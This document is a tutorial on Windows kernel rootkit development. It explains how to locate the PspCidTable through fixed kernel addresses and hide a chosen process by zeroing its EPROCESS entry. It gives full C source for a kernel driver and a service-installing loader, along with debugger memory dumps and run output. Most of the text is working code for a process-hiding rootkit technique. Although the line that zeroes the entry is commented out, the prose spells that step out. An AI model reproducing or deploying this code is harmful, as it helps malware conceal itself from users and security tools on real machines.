PSP CID table II
Lets now remove our process from the PspCidTable. Before this lets start at the basics once again. In our earlier code we assumed that some structure starts at location 0xffdff000. Where does this magic number come from. The fs register has a value of 0x30 in both kernel and user mode. In kernel mode it points to a DATA32 region which has starts at memory location ffdff000. This is how this magic value is obtained. We then add 34 to this pcr value and find a pointer 8054c038. we add 0x80 to this pointer to find a value of 8054c0b8. At this point we see a value of 805605e0. Here is where the pspcidtable is stored. Actual proof.
lkd> dd 0xffdff034
ffdff034 8054c038 8003f400
lkd> dd 8054c038+0x80
8054c0b8 805605e0 00000000
lkd> dd 805605e0
805605e0 e10007d0
We pass the pid of any running program on the command line and the PsLookupProcessByProcessId gives us an EPROCESS structure. We then call the function from FuTo which is called EraseObjectFromPspCidTable. We have written a simple program f.c which we hide each time.
f.c
#include <windows.h>
unsigned char c[100];
int _stdcall WinMain(HINSTANCE i , HINSTANCE j, char *k, int l)
{
sprintf(c,"hi %d",GetCurrentProcessId());
MessageBox(0,c, c, 0);
}
y –i 1312
y –u
r.c
#include <ntddk.h>
#include <stdio.h>
const WCHAR deviceLinkBuffer[] = L"\\DosDevices\\sonal8";
const WCHAR deviceNameBuffer[] = L"\\Device\\sonal8";
UNICODE_STRING deviceNameUnicodeString,deviceLinkUnicodeString;
PDEVICE_OBJECT g_RootkitDevice;
typedef struct _TABLE_ENTRY
{
long object;
ACCESS_MASK security;
} TABLE_ENTRY, *PTABLE_ENTRY, **PPTABLE_ENTRY, ***PPPTABLE_ENTRY;
NTSTATUS abcDevice(PDEVICE_OBJECT DeviceObject,PIRP Irp)
{
IO_STACK_LOCATION *irpStack;
long *inputBuffer;
long pid,ioControlCode;
long pspcid;
long i,i1,i2,i3;
void *eproc;
PTABLE_ENTRY orig_tableEntry, p_tableEntry, *pp_tableEntry, **ppp_tableEntry;
int a, b, c;
int i_numHandles, i_hperPage, i_numTables;
int i_handle;
irpStack = IoGetCurrentIrpStackLocation (Irp);
inputBuffer = (long *)Irp-> AssociatedIrp.SystemBuffer;
pid = *inputBuffer;
ioControlCode = irpStack->Parameters.DeviceIoControl.IoControlCode;
i = 0x0ffdff034;
i1 = *(long *)i;
i2 = i1 + 0x80;
i3 = *(long *)i2;
DbgPrint("i=%x i1=%x i2=%x i3=%x",i,i1,i2,i3);
pspcid = *(long *)i3;
PsLookupProcessByProcessId(pid,&eproc);
DbgPrint("pspcid=%x eproc=%x pid=%d",pspcid,eproc,pid);
i_numHandles = *(int*)(pspcid + 0x3c);
orig_tableEntry = (PTABLE_ENTRY)*(long *)(pspcid);
i_numTables = ((long)orig_tableEntry & 3);
i_hperPage = PAGE_SIZE/sizeof(TABLE_ENTRY);
DbgPrint("i_numHandles=%x orig_tableEntry=%x i_numTables=%d i_hperPage=%d",i_numHandles,orig_tableEntry,i_numTables,i_hperPage);
pp_tableEntry = (PPTABLE_ENTRY)((long)orig_tableEntry & 0xfffffff8);
DbgPrint("Starting table entry=%x",pp_tableEntry);
for (a = 0; a < i_hperPage; a++)
{
DbgPrint("Table of pointers is at %x",pp_tableEntry[a]);
if (pp_tableEntry[a] == NULL)
break;
for (b = 0; b < i_hperPage; b++)
{
//DbgPrint("Comparing %x to %x org=%x\n", ((pp_tableEntry[a][b].object | 0x80000000) & 0xfffffff8), eproc,pp_tableEntry[a][b].object);
if (((pp_tableEntry[a][b].object ) & 0xfffffff8) == ((long)eproc))
{
DbgPrint("a=%d b=%d",a,b);
DbgPrint("Handle = %x Object %x Security %x\n", ((a*512)+b)*4,pp_tableEntry[a][b].object & 0xfffffff8, pp_tableEntry[a][b].security);
//pp_tableEntry[a][b].object = 0;
//pp_tableEntry[a][b].security = ((PHANDLE_TABLE)pspcid)->FirstFree;
//((PHANDLE_TABLE)pspcid)->FirstFree = (ULONG)(pid);
}
}
}
IoCompleteRequest(Irp,IO_NO_INCREMENT);
return STATUS_SUCCESS;
}
NTSTATUS abcCreate(PDEVICE_OBJECT DeviceObject,PIRP Irp)
{
//DbgPrint("abcCreate");
return STATUS_SUCCESS;
}
VOID OnUnload(PDRIVER_OBJECT DriverObject )
{
UNICODE_STRING deviceLinkUnicodeString;
RtlInitUnicodeString( &deviceLinkUnicodeString, deviceLinkBuffer );
IoDeleteSymbolicLink( &deviceLinkUnicodeString );
IoDeleteDevice(DriverObject->DeviceObject);
DbgPrint("Unload5");
}
NTSTATUS DriverEntry(PDRIVER_OBJECT d,PUNICODE_STRING r)
{
d->DriverUnload = OnUnload;
DbgPrint("DriverEntry");
RtlInitUnicodeString (&deviceNameUnicodeString,deviceNameBuffer );
RtlInitUnicodeString (&deviceLinkUnicodeString,deviceLinkBuffer );
IoCreateDevice (d,0, &deviceNameUnicodeString,0,0,TRUE,&g_RootkitDevice );
IoCreateSymbolicLink (&deviceLinkUnicodeString, &deviceNameUnicodeString );
d->MajorFunction[IRP_MJ_CREATE]=abcCreate;
d->MajorFunction[IRP_MJ_DEVICE_CONTROL]=abcDevice;
return STATUS_SUCCESS;
}
y.c
#include <windows.h>
SC_HANDLE m,s,g;
int pid,b;
void main(int argc, char **argv)
{
if ( argv[1][1] == 'i')
{
pid = atoi(argv[2]);
m=OpenSCManager(0,0,SC_MANAGER_ALL_ACCESS );
CreateService(m,"sonal5","sonal5",SERVICE_ALL_ACCESS,SERVICE_KERNEL_DRIVER,SERVICE_DEMAND_START,SERVICE_ERROR_NORMAL,"C:\\sonal5\\sonal5.sys",0,0,0,0,0);
s=OpenService(m,"sonal5",SERVICE_ALL_ACCESS);
StartService(s, 0, 0);
g=CreateFile("\\\\.\\sonal8",GENERIC_READ | GENERIC_WRITE,0,0,OPEN_EXISTING,0,0);
DeviceIoControl(g,1,(void *)&pid,4,0,0,&b,0);
}
else
{
SERVICE_STATUS status;
m= OpenSCManager (0,0,SC_MANAGER_ALL_ACCESS );
s=OpenService(m,"sonal5",SERVICE_ALL_ACCESS);
ControlService(s, SERVICE_CONTROL_STOP, &status);
}
}
DriverEntry
i=ffdff034 i1=8054c038 i2=8054c0b8 i3=805605e0
pspcid=e10007d0 eproc=8935f9d0 pid=3360
i_numHandles=212 orig_tableEntry=e237a001 i_numTables=1 i_hperPage=512
Starting table entry=e237a000
Table of pointers is at e1003000
Table of pointers is at e237b000
a=1 b=328
Handle = d20 Object 8935f9d0 Security 0
Table of pointers is at 0
Unload5
To find the number of handles in the pspcidtable we need to access a location 0x3c from the start of the table. In our case we see the following
lkd> dd e10007d0+0x3c
e100080c 00000203
Thus we have 203 handles in our table. The entry at the start of the pspcidtable gives us two things, one the page that contains the pages that contain the handles and two the number of tables. The first two bits give us the depth of the tables.
lkd> dd e10007d0
e10007d0 e237a001
In our case the tables are at page e237a000 and the depth of the handle structures is 1. The table contain a handle and a security mask which gives it a size of 8 bytes. Thus in one page we can fit 4096/8 or 512 handles only. Thus in our case we need two pages to store the handles.
We enter a for loop with values of a starting from 0 to 512. In this case the for loop should go on for 1024 times as this first table is made up of pointers to page tables that contain the handles. These are simple 4 byte pointers and in our case see two page table only that contain such pointers. These start at
lkd> dd e237a000
e237a000 e1003000 e237b000 00000000 00000000
The minute we come to the third entry as it is null we quit out. The second for loop is what goes through each entry in the pspcidtable.
e1003000 00000000 fffffffe 89bd0491 00000000
e1003010 89bd0219 00000000 89bcfd21 00000000
e1003020 89bcfaa9 00000000 89bcf831 00000000
The security bytes are always zeroes and these number are larger than 2 gb. We have too knock off the first 12 bits. All that we need to do is set the object entry which is an eprocess structure to 0 which removes the eprocess structure from the pspcidtable.
Thus the pspcidtable simply contains a series of pointer to threads and eprocesses. We scan through them and the minute we find one we simply zero it out.